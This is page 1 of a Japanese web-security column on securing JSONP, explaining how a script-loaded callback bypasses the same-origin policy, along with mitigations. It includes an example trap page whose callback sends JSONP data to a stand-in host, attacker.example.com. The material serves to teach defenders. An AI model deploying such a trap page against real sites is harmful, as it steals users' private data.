第4回 [気になる]JSONPの守り方
はせがわようすけ
ネットエージェント株式会社
2009/8/10
XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部)
JSONPだって、セキュリティを気にしてほしい
- - PR -
皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。
JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。
具体的な例を見てみましょう。データの提供側は、「http://example.jp/weather.json?loc=tokyo」というURLで、以下のようなJSONP形式のデータを出力しているとします。
callback( { "city" : "tokyo", "weather" : "rain" } ); |
JSONデータを引数に、callbackという関数を呼び出す形になっているのが分かるかと思います。このデータを利用するJavaScriptアプリケーションの側は、最も簡単な方法としては
<script>
function callback( json ){
alert( "東京の天気は" + json.weather );
}
</script> |
のように、<script>要素を使ってJSONPデータをJavaScriptのソースとして読み込むことになります。
JSONP内ではcallbackという関数を呼び出していますので、事前にcallbackという名前の関数を用意しておくことで、提供されたJSONデータをJavaScriptによるアプリケーション側で簡単に利用できます。
このように<script>要素を利用してスクリプトとして外部からのデータを受け取っていますので、XMLHttpRequestを使ってデータを受け取る場合のようにSame Origin Policyの制約を受けることなく、アプリケーションの置かれているドメインと異なるドメインから提供されるデータであっても、JavaScriptにて受け取ることができます。
では、この便利なJSONPを使う上で気を付けなければいけない、セキュリティ上の注意点を挙げていきましょう。
JSONP内の機密情報
上の例で示したとおり、JSONPによって提供されるデータは Same Origin Policyの制約を受けずに、任意のサイトに置かれているJavaScriptからアクセスすることができます。これは攻撃者にとっても同じ条件ですので、攻撃者が用意したわなのページから、JSONPを読み込むこともできてしまいます。
例えば攻撃者が次のようなわなのページを用意し、被害者にアクセスさせたとします。
<script>
function callback( json ){
location.href = "http://attacker.example.com/?" |
被害者がこのわなのページをブラウザで開くと、JSONPの内容を攻撃者のサイトに送信してしまいます。今回の例では天気という機密性のないデータですが、例えばWebメールのアドレス帳などのように、やりとりするデータに機密情報を含めたくなることもあるでしょう。JSONPはそもそもクロスドメインの制約を超えてデータを提供するための仕組みですので、攻撃者の用意した悪意あるサイトであっても、正規のサイトと同様にJSONデータが引き渡されます。よって、JSONPによるデータを提供する場合には、JSONP内には機密情報は含めないように注意しなければいけません。
どうしてもJSONP内に正規のアプリケーションのみ利用できる機密情報を含めたい場合には、JSONPを提供するURLを、第三者にとって推測不能なものにするという方法があります。JSONPを取得するURLが攻撃者にも推測不能であれば、攻撃者がわなのページ内に<script>のsrcとしてJSONPを指定することができなくなります。
JSONPの提供側でリファラを確認し、正規のWebサイトから要求されたときのみJSONPを提供するという方法もありますが、環境によってはリファラが無効になっていることもあるため、この方法はお勧めできません。
1/3 |
| Index | |
| [気になる]JSONPの守り方 | |
| Page1 JSONPだって、セキュリティを気にしてほしい JSONP内の機密情報 |
|
| Page2 JSON内のエスケープ JSONP呼び出しの危険性 |
|
| Page3 JSONP提供側のXSS 手軽に使えるからこそ気にしたいセキュリティの基礎 |
|
| 教科書に載らないWebアプリケーションセキュリティ |
| Coding Edgeお勧め記事 |
| いまさらアルゴリズムを学ぶ意味 コーディングに役立つ! アルゴリズムの基本(1) コンピュータに「3の倍数と3の付く数字」を判断させるにはどうしたらいいか。発想力を鍛えよう |
|
| Zope 3の魅力に迫る Zope 3とは何ぞや?(1) Pythonで書かれたWebアプリケーションフレームワーク「Zope 3」。ほかのソフトウェアとは一体何が違っているのか? |
|
| 貧弱環境プログラミングのススメ 柴田 淳のコーディング天国 高性能なIT機器に囲まれた環境でコンピュータの動作原理に触れることは可能だろうか。貧弱なPC上にビットマップの直線をどうやって引く? |
|
| Haskellプログラミングの楽しみ方 のんびりHaskell(1) 関数型言語に分類されるHaskell。C言語などの手続き型言語とまったく異なるプログラミングの世界に踏み出してみよう |
|
| ちょっと変わったLisp入門 Gaucheでメタプログラミング(1) Lispの一種であるScheme。いくつかある処理系の中でも気軽にスクリプトを書けるGaucheでLispの世界を体験してみよう |
|
TechTargetジャパン
- 実例で学ぶRailsアプリのテスト方法 (2011/12/22)
具体的なWebアプリを例に簡単なテストを使ったリファクタリングについ
て解説する - Railsの人気テストフレームワーク6選! (2011/8/18)
今回からテストを使ったリファクタリングを解説する。まずはRailsで人
気のあるテストフレームワークをいくつか紹介する - ActiveRecordの更新系操作 (2011/6/27)
Railsのモデル層を担当するActiveRecordを使った登録、更新、削除
など、更新系の機能を中心に見ていきます - 実例アプリで学ぶ“Railsらしさ”の基礎 (2011/5/26)
Ruby on Railsで書かれた実例アプリを取り上げて、初心者が陥りがちなコードの書き方を指摘します。より「Railsらしい」コードとは?
|
|

